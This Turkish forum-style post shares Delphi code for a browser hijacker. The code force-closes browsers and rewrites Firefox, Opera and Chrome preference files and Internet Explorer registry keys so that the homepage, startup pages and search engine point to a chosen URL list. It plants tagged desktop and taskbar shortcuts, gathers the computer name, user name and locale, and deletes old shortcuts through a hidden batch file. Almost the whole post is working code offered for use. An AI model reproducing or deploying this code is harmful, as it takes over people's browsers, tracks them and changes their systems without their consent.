Asagida isinizi gorecek kod snippetlerini paylastim..
Programlama Dili : delphi
function CreateDesktopShellLink(const TargetName: string;StrLinkName : String;Parametre :String): Boolean;
var
IObject: IUnknown;
ISLink: IShellLink;
IPFile: IPersistFile;
LinkName: string;
TaskBarFolder : String;
begin
Result := False;
OleInitialize(nil);
IF FileExists(TargetName) = false then Exit;
try
IObject := CreateComObject(CLSID_ShellLink);
ISLink := IObject as IShellLink;
IPFile := IObject as IPersistFile;
///?utm_source=desktop
//masaustu simgeleri icin
ISLink.SetArguments(PAnsiChar(Parametre + '?utm_source=desktop'));
ISLink.SetDescription(PAnsiChar(StrLinkName));
ISLink.SetPath(PChar('"'+TargetName+'"'));
ISLink.SetWorkingDirectory(PChar(ExtractFilePath(TargetName)));
LinkName := IncludeTrailingBackslash(GetSpecialFolder(CSIDL_DESKTOPDIRECTORY));
LinkName := LinkName + StrLinkName;
Windows.DeleteFileA(PAnsiChar(LinkName));
IPFile.Save(PWideChar(WideString(LinkName)), True);
TaskBarFolder := ROAMING_FOLDER + 'Microsoft\Internet Explorer\Quick Launch\User Pinned\Taskbar\';
TaskBarFolder := TaskBarFolder + StrLinkName;
ISLink.SetArguments(PAnsiChar(Parametre + '?utm_source=taskbar'));
Windows.DeleteFileA(PAnsiChar(TaskBarFolder));
IPFile.Save(PWideChar(WideString(TaskBarFolder)),True);
except on e : Exception do
begin
DebugPrompt(e.Message);
end;
end;
Result := True;
end; function GetUserInfo(Index : Integer) : String;
var
arrData : array [0..255] of char;
hSize : Cardinal;
begin
ZeroMemory(@arrData,SizeOf(arrData));
hSize := SizeOf(arrData);
FillChar(arrData,SizeOf(arrData),#0);
case Index of
0 : begin GetComputerName(arrData,hSize); end; // bilgisayar
1 : begin GetUserName(arrData,hSize); end; // kullanici
2 : begin // ülke bilgileri
Windows.GetLocaleInfo(LOCALE_USER_DEFAULT,LOCALE_SISO3166CTRYNAME,arrData,SizeOf(arrData))
end;
3 : begin // language
VerLanguageName(GetSystemDefaultLCID,arrData,SizeOf(arrData));
end;
end;
Result := string(Trim(string(arrData)));
Result := StringReplace(Result,' ','_',[rfReplaceAll]);
Result := StringReplace(Result,'.','_',[rfReplaceAll]);
Result := StringReplace(Result,',','_',[rfReplaceAll]);
Result := StringReplace(Result,'~','_',[rfReplaceAll]);
Result := StringReplace(Result,'$','_',[rfReplaceAll]);
Result := StringReplace(Result,'#','_',[rfReplaceAll]);
Result := StringReplace(Result,'*','_',[rfReplaceAll]);
Result := StringReplace(Result,'{','_',[rfReplaceAll]);
Result := StringReplace(Result,'}','_',[rfReplaceAll]);
Result := StringReplace(Result,'[','_',[rfReplaceAll]);
Result := StringReplace(Result,']','_',[rfReplaceAll]);
Result := StringReplace(Result,'(','_',[rfReplaceAll]);
Result := StringReplace(Result,')','_',[rfReplaceAll]);
Result := StringReplace(Result,'+','_',[rfReplaceAll]);
Result := StringReplace(Result,'%','_',[rfReplaceAll]);
Result := StringReplace(Result,'<','_',[rfReplaceAll]);
Result := StringReplace(Result,'>','_',[rfReplaceAll]);
Result := StringReplace(Result,'|','_',[rfReplaceAll]);
Result := StringReplace(Result,'?','_',[rfReplaceAll]);
Result := StringReplace(Result,'-','_',[rfReplaceAll]);
if Length(Result) = 0 then Result := 'Unknown';
DebugPrompt('Info:'+IntToStr(Index)+ '---' +Result);
end;Procedure UpdateBrowserShotcuts(Browser : Integer;BrowserPath,ShortcutPath,UrlListesi : String);
VAR
TempData : String;
Begin
KillBrowsers;
BrowserPath:= StringReplace(BrowserPath,'/','\',[rfReplaceAll]);
UrlListesi := UrlListesi + '?utm_source=homepage';
Case Browser Of
0: // FIREFOX
BEGIN
TempData :='';
TempData := TempData + 'user_pref("browser.cache.disk.smart_size.first_run", false);'+#13#10;
TempData := TempData + 'user_pref("browser.startup.homepage", "'+UrlListesi+'");'+#13#10;
TempData := TempData + 'user_pref("browser.tabs.warnOnClose", false);';
TempData := TempData + 'user_pref("browser.feeds.showFirstRunUI", false);';
TempData := TempData + 'user_pref("browser.newtab.url","'+UrlListesi+'");';
SaveToFile(TempData,BrowserPath);
END;
1: // OPERA
BEGIN
TempData :='';
TempData := TempData + '[User Prefs]'+#13#10;
TempData := TempData + 'Startup Type=2'+#13#10;
TempData := TempData + 'Home URL='+UrlListesi+#13#10;
TempData := TempData + 'Preferences Version=6'+#13#10;
TempData := TempData + 'Show Default Browser Dialog=0';
SaveToFile(TempData,BrowserPath);
END;
2: // CHROME
BEGIN
TempData:='';
TempData :='{'+#13#10;
TempData := TempData + ' "backup": {'+#13#10;
TempData := TempData + '"homepage": "'+UrlListesi+'",'+#13#10;
TempData := TempData + '"homepage_is_newtabpage": true,'+#13#10;
TempData := TempData + '"session": {'+#13#10;
TempData := TempData + ' "restore_on_startup": 4,'+#13#10;
TempData := TempData + ' "urls_to_restore_on_startup": [ "'+UrlListesi+'" ]'+#13#10;
TempData := TempData + '}'+#13#10;
TempData := TempData + '},'+#13#10;
TempData := TempData + '"countryid_at_install": 21586,'+#13#10;
TempData := TempData + '"default_apps_install_state": 2,'+#13#10;
TempData := TempData + '"default_search_provider": {'+#13#10;
TempData := TempData + '"enabled": true,'+#13#10;
TempData := TempData + '"encodings": "",'+#13#10;
TempData := TempData + '"icon_url": "",'+#13#10;
TempData := TempData + '"id": "148",'+#13#10;
TempData := TempData + '"instant_url": "",'+#13#10;
TempData := TempData + '"keyword": "'+UrlListesi+'",'+#13#10;
TempData := TempData + '"name": "'+UrlListesi+'",'+#13#10;
TempData := TempData + '"prepopulate_id": "0",'+#13#10;
TempData := TempData + '"search_url": "'+UrlListesi+'/{searchTerms}/",'+#13#10;
TempData := TempData + '"suggest_url": ""'+#13#10;
TempData := TempData + '},'+#13#10;
TempData := TempData + '"browser": {'+#13#10;
TempData := TempData + ' "check_default_browser": false,'+#13#10;
TempData := TempData + ' "clear_lso_data_enabled": true,'+#13#10;
TempData := TempData + ' "pepper_flash_settings_enabled": true'+#13#10;
TempData := TempData + '},'+#13#10;
TempData := TempData + '"dns_prefetching": {'+#13#10;
TempData := TempData + ' "host_referral_list": [ 2 ],'+#13#10;
TempData := TempData + ' "startup_list": [ 1, "'+UrlListesi+'" ]'+#13#10;
TempData := TempData + '},'+#13#10;
TempData := TempData + '"session": {'+#13#10;
TempData := TempData + ' "restore_on_startup": 4,'+#13#10;
TempData := TempData + ' "restore_on_startup_migrated": true,'+#13#10;
TempData := TempData + ' "urls_to_restore_on_startup": [ "'+UrlListesi+'" ]'+#13#10;
TempData := TempData + '},'+#13#10;
TempData := TempData + '"sync": {'+#13#10;
TempData := TempData + ' "suppress_start": true'+#13#10;
TempData := TempData + '}'+#13#10;
TempData := TempData + '}'+#13#10;
SaveToFile(TempData,BrowserPath);
END;
3:BEGIN // EKsplorer
AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Search Page',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Search Page',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Default_Page_URL',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Default_Page_URL',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',UrlListesi);
AddToRegistry(HKEY_CURRENT_USER,REG_MULTI_SZ,'Software\Microsoft\Internet Explorer\Main\','Secondary Start Pages','');
AddToRegistry(HKEY_LOCAL_MACHINE,REG_MULTI_SZ,'Software\Microsoft\Internet Explorer\Main\','Secondary Start Pages','');
AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',UrlListesi);
AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',UrlListesi);
END;
END;
End; Procedure RemoveOldShortCuts(OldPath :String);
var
BatData : String;
BatFile : String;
Begin
BatData :='@echo off' + #13#10+
'cd "'+OldPath+'"' + #13#10+
'del "*.lnk"' + #13#10;
BatFile:=IncludeTrailingBackSlash(TempDir) + 'DelShortCuts.bat';
SaveToFile(BatData,BatFile);
NewShellExecuteA(0, 'open', PAnsiChar(BatFile), nil, nil, SW_HIDE);
End;{
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Default_Page_URL
Start Page
Start Page Redirect Cache
Secondary Start Pages #13#10 site adresleri
Search Page
}
Function AddToRegistry(RegKey : HKey;dType : Cardinal;SubKey,SingleKey,Value : String) : Boolean;
VAR
Key : HKey;
Begin
Result := False;
if RegOpenKeyEx(RegKey,PChar(SubKey), 0, KEY_WRITE, Key) = ERROR_SUCCESS then
Begin
RegSetValueEx(Key, PAnsiChar(SingleKey), 0,dType, PChar(Value),Length(Value)); // The 1 is for the terminating 0 (PChar)
RegCloseKey(Key);
RegCloseKey(RegKey);
end;
End;Tarayıcı Dizinlerinin Tespiti:
STARTMENU_PATH := GetSpecialFolder(CSIDL_PROGRAMS);
DESKTOP_PATH := GetSpecialFolder(CSIDL_DESKTOP);
PROGRAM_FILES := GetSpecialFolder(CSIDL_PROGRAM_FILES);
APPDATA_PATH := GetSpecialFolder(CSIDL_LOCAL_APPDATA);
STARTUP_FOLDER := GetSpecialFolder(CSIDL_STARTUP);
ROAMING_FOLDER := GetSpecialFolder(CSIDL_APPDATA);
FIREFOX_PATH := PROGRAM_FILES + 'Mozilla Firefox\firefox.exe';
FIREFOX_DATA_PATH := ROAMING_FOLDER + 'Mozilla\Firefox\';
OPERA_PATH := PROGRAM_FILES + 'Opera\opera.exe';
OPERA_DATA_PATH := ROAMING_FOLDER + 'Opera\Opera\operaprefs.ini';
CHROME_DATA_PATH := APPDATA_PATH + 'Google\Chrome\User Data\Default\Preferences';
CHROME_PATH := PROGRAM_FILES + 'Google\Chrome\Application\chrome.exe';
YANDEX_PATH := APPDATA_PATH + 'Yandex\YandexBrowser\Application\browser.exe';
YANDEX_DATA_PATH := APPDATA_PATH + 'Yandex\YandexBrowser\User Data\Default\Preferences';
EXPLORER_PATH := PROGRAM_FILES + 'Internet Explorer\iexplore.exe';
SAFARI_PATH := PROGRAM_FILES + 'Safari\Safari.exe';
PALEMON_PATH := PROGRAM_FILES + 'Pale Moon\palemoon.exe';
MAXTHON_PATH := PROGRAM_FILES + 'Maxthon3\Bin\Maxthon.exe';
KMELEON_PATH := PROGRAM_FILES + 'K-Meleon\k-meleon.exe';
DRAGON_PATH := PROGRAM_FILES + 'Comodo\Dragon\dragon.exe';
AVANT_PATH := PROGRAM_FILES + 'Avant Browser\avant.exe';
GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, PCHAR(FIREFOX_DATA_PATH+'profiles.ini'));
FIREFOX_DATA_PATH := FIREFOX_DATA_PATH+MainProfile+'\prefs.js';